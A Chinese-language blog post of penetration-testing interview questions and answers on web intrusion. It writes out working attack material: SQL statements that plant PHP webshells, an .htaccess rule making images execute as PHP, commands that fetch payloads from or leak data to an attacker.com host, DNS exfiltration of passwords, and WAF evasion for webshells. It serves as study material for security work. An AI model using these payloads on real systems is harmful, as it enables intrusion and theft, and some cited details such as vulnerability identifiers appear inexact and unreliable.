2025年渗透测试面试题总结-235(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
181. 成熟且安全的CMS扫目录的意义
182. 常见网站服务器容器
183. MySQL注入写一句话木马的条件
184. 容器解析漏洞示例
185. 快速判断Windows/Linux服务器
186. MySQL站点仅开放80端口的原因
187. 3389无法连接的常见原因
188. 突破注入转义的方法
189. 后台发现编辑器的渗透思路
190. 发现.htaccess文件的利用方式
191. 注入漏洞利用不限于账号密码
192. 安全狗能否追踪变量检测一句话木马?
193. 提权目录避免空格的原因
194. Access数据库乱码文件的本地利用
195. 站点A后台添加用户同步到站点B的原因
196. 不使用AND/OR/XOR的注入方法
197. 无文件渗透技术
198. MySQL写WebShell的利用条件与方式
199. 无回显注入利用DNSlog
200. phpMyAdmin写WebShell方法
181 一个成熟并且相对安全的CMS,渗透时扫目录的意义? 182 常见的网站服务器容器。 183 mysql注入点,用工具对目标站直接写入一句话,需要哪些条件? 184 目前已知哪些版本的容器有解析漏洞,具体举例 185 如何手工快速判断目标站是windows还是linux服务器? 186 为何一个mysql数据库的站,只有一个80端口开放? 187 3389无法连接的几种情况 188 如何突破注入时字符被转义? 189 在某后台新闻编辑界面看到编辑器,应该先做什么? 190 拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么? 191 注入漏洞只能查账号密码? 192 安全狗会追踪变量,从而发现出是一句话木马吗? 193 提权时选择可读写目录,为何尽量不用带空格的目录? 194 access扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用? 195 某服务器有站点 A,B 为何在 A 的后台添加 test 用户,访问 B 的后台。发现也添加上了 test 用户? 196 注入时可以不使用and或or或xor,直接orderby开始注入吗? 197 无文件渗透 198 MySQL写WebShell有几种方式,利用条件 199 Sql注入无回显的情况下,利用DNSlog,mysql下利用什么构造代码,mssql下又如何? 200 phpmyadmin写sehll的方法181. 成熟且安全的CMS扫目录的意义
即使CMS本身安全,扫目录仍有价值:
- 暴露备份文件:
- 发现
.bak、.sql等备份文件(如/data.bak),直接下载获取源码或数据库。- 泄露敏感路径:
- 扫描出未授权的后台(
/admin)、配置文件(/config.ini)。- 遗留开发文件:
- 如
/test.php、/dev.log,可能包含调试接口或未修复漏洞。- 旁路攻击入口:
- 通过子目录下的独立系统(如
/blog/wp-admin)突破主站防御。
案例:某CMS主站无漏洞,但/old/upload目录存在未鉴权的文件上传功能。
182. 常见网站服务器容器
容器类型 代表产品 特点 Java容器 Tomcat、WebLogic 支持JSP/Servlet,常搭配Spring框架 PHP容器 Apache、Nginx 通过PHP-FPM解析,占市场70%+ .NET容器 IIS 微软生态专属,支持ASP.NET Python容器 uWSGI、Gunicorn 通常与Nginx反向代理结合 Node.js 容器 PM2、Express 轻量高并发,适合实时应用
183. MySQL注入写一句话木马的条件
需同时满足以下条件:
- 权限充足:
- 数据库用户具备
FILE权限(SELECT file_priv FROM mysql.user)。- 路径可写:
- 已知Web绝对路径(通过报错/爆破),且目录有写权限。
- 安全配置关闭:
secure_file_priv值为空(默认NULL禁止写文件)。
利用语句:sqlSELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php';
184. 容器解析漏洞示例
容器/版本 解析漏洞 利用方式 IIS 6.0 分号截断解析 shell.asp;.jpg被当作ASP执行Nginx <0.8.37 路径修复错误 /test.jpg/test.php执行JPG内容Apache 1.x/2.x 多后缀解析(从左向右) shell.php.xxx被解析为PHPTomcat 7.x/8.x 特殊后缀 /绕过/shell.jsp/绕过检测
185. 快速判断Windows/Linux服务器
手工检测方法:
- TTL值:
ping目标 → TTL≈128为Windows,TTL≈64为Linux。- URL大小写敏感:
- 访问
/AbC和/abc→ 返回不同为Linux(默认区分大小写)。- HTTP头特征:
- 响应头含
Server: Microsoft-IIS为Windows。- 文件路径分隔符:
- 报错信息中出现
C:\或/var直接暴露系统。
186. MySQL站点仅开放80端口的原因
- 端口隐藏:
- MySQL监听本地
127.0.0.1:3306,仅允许本机访问。- 反向代理:
- Nginx/Apache代理数据库请求(如
/api/db转发到内网3306)。- 云数据库:
- 使用RDS服务(如AWS RDS),公网仅暴露Web端口。
风险:若存在SSRF漏洞,可攻击内网数据库。
187. 3389无法连接的常见原因
类别 具体原因 解决方案 网络层 防火墙拦截(入站规则/安全组) 检查防火墙设置,放行3389/TCP 系统配置 远程桌面服务未启用 sysdm.cpl中启用远程桌面端口修改 注册表修改默认端口(如 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber)扫描全端口或查注册表 认证失败 账户被锁定/密码错误 重置密码或使用其他凭据
188. 突破注入转义的方法
- 编码绕过:
- Hex编码:
id=1→id=0x31。- URL编码:
'→%27,"→%22。- 多字节截断:
- 利用宽字节注入(GBK字符集):
id=1%df'→ 吞掉转义符\。- 二次注入:
- 存入未转义的数据,后续使用触发漏洞。
- 替代运算符:
and 1=1→&& 1=1或^1=0(异或)。
189. 后台发现编辑器的渗透思路
- 识别编辑器类型:
- 查看源码/请求路径(如
/ueditor/、/kindeditor/)。- 测试文件上传:
- 尝试上传图片马(
.jpg含Webshell代码),检查解析漏洞。- 搜索历史漏洞:
- 如UEditor任意文件上传(CVE-2017-10067)。
- 抓包修改参数:
- 修改上传请求中的
filename为.php或Content-Type为image/jpeg。
190. 发现.htaccess文件的利用方式
.htaccess可覆盖Apache配置:
- 解析绕过:
apacheAddType application/x-httpd-php .jpg # 强制解析.jpg为PHP- 目录权限开放:
apacheRequire all granted # 允许目录访问- 重定向漏洞:
apacheRewriteRule ^(.*)$ http://attacker.com?leak=$1 [R=302] # 窃取URL参数
191. 注入漏洞利用不限于账号密码
可获取的关键信息:
- 全库数据:
- 支付记录、身份证号等敏感信息(通过
UNION SELECT)。- 系统权限:
- 利用
load_file()读文件,into outfile写Webshell。- 内网渗透:
- 读取配置文件(数据库凭据、内网IP),发起SSRF攻击。
- 提权基础:
- 获取管理员密码哈希,爆破后登录后台进一步利用。
192. 安全狗能否追踪变量检测一句话木马?
可以,但需结合上下文:
- 静态检测:
- 匹配
eval(、$_POST[等关键词。- 动态追踪:
- 分析变量传递链(如
$a=$_GET['x']; eval($a);)。- 混淆绕过:
- 使用字符串拼接:
$f='ev'.'al'; $f($_POST['x']);。- 编码混淆:
base64_decode("ZXZhbA==")($_POST['x']);。
193. 提权目录避免空格的原因
- 系统命令解析问题:
- Windows命令中
C:\Program Files会被拆分为C:\Program和Files两个参数。- 解决方案:
- 使用8.3短路径:
C:\Progra~1\代替C:\Program Files\。- 引号包裹路径:
"C:\Program Files\test.exe"(但某些EXP不兼容)。
194. Access数据库乱码文件的本地利用
- 下载到本地:
- 直接访问
.asp路径下载(或改后缀为.mdb)。- 解析数据库:
- 用Access或
DB Browser for Access打开。- 提取管理员凭据:
- 查询
admin表获取MD5密码,爆破或反查。- 源码审计:
- 分析ASP源码中的数据库连接逻辑、硬编码密钥。
195. 站点A后台添加用户同步到站点B的原因
共享会话体系:
- 同域Cookie:
- 两个站点共享父域名(
a.example.com和b.example.com),Cookie作用域为.example.com。- 统一认证服务:
- 共用SSO(单点登录)系统,用户库为同一数据库。
- 风险:
- 若A站存在XSS,可直接窃取B站后台凭证。
196. 不使用AND/OR/XOR的注入方法
可行,直接利用
ORDER BY:
- 布尔盲注:
sqlORDER BY (CASE WHEN (SELECT SUBSTR(user(),1,1)='r') THEN 1 ELSE 0 END) -- 返回顺序变化判断条件真假- 报错注入:
sqlORDER BY EXP(~(SELECT * FROM(SELECT USER())a)) -- 通过报错带出数据优势:绕过简单WAF对
AND/OR的过滤。
197. 无文件渗透技术
核心:不落盘执行恶意代码
- 内存加载:
- PowerShell执行:
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')。- 注册表驻留:
- 将Payload写入注册表,通过
regsvr32加载:cmdregsvr32 /s /u /i:http://attacker.com/payload.sct scrobj.dll- 进程注入:
- 将ShellCode注入合法进程(如explorer.exe )。
198. MySQL写WebShell的利用条件与方式
前提条件:
- 数据库用户有
FILE权限 + 已知Web路径 +secure_file_priv=''。
写入方式:
SELECT ... INTO OUTFILE:sqlSELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/shell.php";- 日志文件篡改:
sqlSET GLOBAL general_log_file='/var/www/shell.php'; SET GLOBAL general_log=ON; SELECT '<?php eval($_POST[cmd]);?>'; -- 执行任意语句写入日志
199. 无回显注入利用DNSlog
原理:通过DNS请求外带数据
- MySQL利用方式:
sqlSELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test'));
- 数据作为子域名发送到攻击者DNS服务器。
- MSSQL利用方式:
sqlDECLARE @d VARCHAR(100); SET @d=(SELECT TOP 1 name FROM sys.databases); EXEC('master..xp_dirtree "\\'+@d+'.attacker.com\test"');
200. phpMyAdmin写WebShell方法
需具备条件:Web目录可写 + 有SQL执行权限
- 直接执行SQL:
sqlSELECT "<?php @system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/shell.php"- 利用日志文件:
sqlSET GLOBAL general_log_file='/var/www/html/shell.php'; SET GLOBAL general_log=1; SELECT "<?php phpinfo();?>"; -- 触发日志写入- 通过慢查询日志:
sqlSET GLOBAL slow_query_log_file='/var/www/html/shell.php'; SET GLOBAL slow_query_log=1; SELECT BENCHMARK(9999999,MD5('test')); -- 触发慢查询写入
